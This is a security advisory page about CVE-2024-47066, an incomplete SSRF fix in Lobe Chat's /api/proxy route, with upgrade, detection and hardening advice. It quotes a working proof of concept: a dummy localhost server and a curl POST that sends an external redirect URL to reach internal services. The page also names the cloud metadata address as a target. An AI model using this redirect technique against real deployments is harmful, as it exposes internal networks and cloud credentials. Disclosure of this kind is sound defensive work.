AgentbeamBeta
AI agent vulnerability · LobeChat

CVE-2024-47066: lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)

mediumCVSS 4.0 6.3 · 3.1 9.0GHSA-3fc8-2r3f-8wrg

Lobe Chat's /api/proxy route checks the target URL for private addresses but does not follow redirects. An attacker gives it a public URL that redirects to localhost or an internal host, and the server fetches it. This is an incomplete fix for an earlier SSRF, CVE-2024-32964. Upgrade @lobehub/chat to 1.19.13.

Published Sep 23, 2024 · Updated Sep 30, 2024 · Analysis Nov 10, 2026

What an attacker can do

The route in src/app/api/proxy/route.ts blocks direct requests to private-network and loopback addresses. The check runs only on the submitted URL. When that URL answers with a redirect, the fetch follows it to an internal target without a second check.

The proof of concept posts an attacker URL that redirects to a dummy server on localhost port 3001 to /api/proxy. The internal dummy server logs the request, which proves the server made it. The attacker can thus make the Lobe Chat server call internal services, container networks and cloud metadata endpoints. The CVSS 3.1 vector lists high privileges, and the score is 9.0 with a changed scope. Lobe Chat deployments that allow login-less use or give many users accounts should treat the route as open to anyone who can reach it.

Who is affected

@lobehub/chat up to and including 1.19.12. Check:

npm ls @lobehub/chat

For Docker, read the image tag. Deployments that can reach internal services or a metadata endpoint from the Lobe Chat host carry the most risk.

@lobehub/chat

Ecosystem
npm
Affected
<= 1.19.12
Fixed in
1.19.13
Check
npm ls @lobehub/chat

How to fix it

Upgrade @lobehub/chat to 1.19.13. The reporter recommends disabling redirects, or re-checking the target before every hop if redirects are needed. The fix commit is e960a23. The sources list no workaround. As defense in depth, block the Lobe Chat host's access to internal ranges and metadata addresses.

How to tell if you were hit

Look in access logs for POST requests to /api/proxy whose body is an external URL, then check your internal services' logs for requests from the Lobe Chat host just after. Watch for requests to loopback, private ranges or 169.254.169.254 originating from the app.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;
  1. Create file dummy-server.js with the following content:
var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Credited to a1loy.

Questions

How is this different from CVE-2024-32964?

That earlier fix added the private-address check. This one bypasses it by sending a redirect from an external URL to an internal one.

Which version fixes it?

@lobehub/chat 1.19.13 is the patched version. Versions up to and including 1.19.12 are affected.

Is it exploited in the wild?

The advisory and fix commit we read do not report exploitation, and the entry is not in CISA's KEV catalog.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More LobeChat vulnerabilities

All LobeChat entries